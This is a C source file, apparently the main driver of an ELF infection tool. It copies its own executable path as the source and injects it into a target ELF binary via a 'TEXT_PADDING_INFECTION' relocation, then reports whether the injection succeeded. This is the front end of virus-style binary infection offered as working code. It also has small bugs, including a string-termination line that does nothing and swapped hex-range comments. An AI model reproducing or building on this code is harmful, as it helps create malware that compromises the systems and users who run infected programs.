/* main.c - interface for ELF routines */

#include "elfmod.h"

#define ARGDELIM ":\t "
#define SUBDELIM "=,\n "

/* Check to see if a string consists soley of numbers */
int IsInt(char *p)
{
	if (p == NULL)
		return 0;

	while (*p != '\0' && *p != '\n')
		if (*p >= '0' && *p <= '9')
			p++;
		else
			return 0;
	return 1;
}

/* note that this function strips a newline */
int IsHex(char *p)
{
	if (p[strlen(p) - 1] == '\n')
	    p[strlen(p) - 1] = '\0';

	if (*p == '0' && (*(p + 1) == 'x' || *(p + 1) == 'X'))
		p += 2;
	else
		return 0;
	while (*p != '\0')
		if ((*p >= '0' && *p <= '9') ||   /* 0 - 9 */
		    (*p >= 0x61 && *p <= 0x66) || /* A - F */
		    (*p >= 0x41 && *p <= 0x46))   /* a - f */
			p++;
		else
			return 0;	
	return 1;
}

int main(int argc, char **argv, char **envp)
{
	struct elf_list *current, *tmp, *listhead = NULL;
	char target_name[MAXSTR], source_name[MAXSTR];
	
	if (argc < 2)
	{
		// help(RELOC_HELP);
		goto reloc_done;
	}

	strncpy(source_name, argv[0], MAXSTR);
	strncpy(target_name, argv[1], MAXSTR);
	
	target_name[strlen(target_name)] = '\0';
	source_name[sizeof(source_name) - 1] = '\0';
	
	current = (struct elf_list *)add_elf(target_name, &listhead);
	if (!current)
		goto reloc_done;	
	if (ElfRelocate(&current->elf, source_name, TEXT_PADDING_INFECTION) == 0)
		printf("Injection/Relocation succeeded\n");
	else
		printf("Injection/Relocation failed\n");
reloc_done:
	   tmp = 0;
	//remove_elf((struct elf_list **)search_by_name(target_name, &listhead));
	//free(args);
}
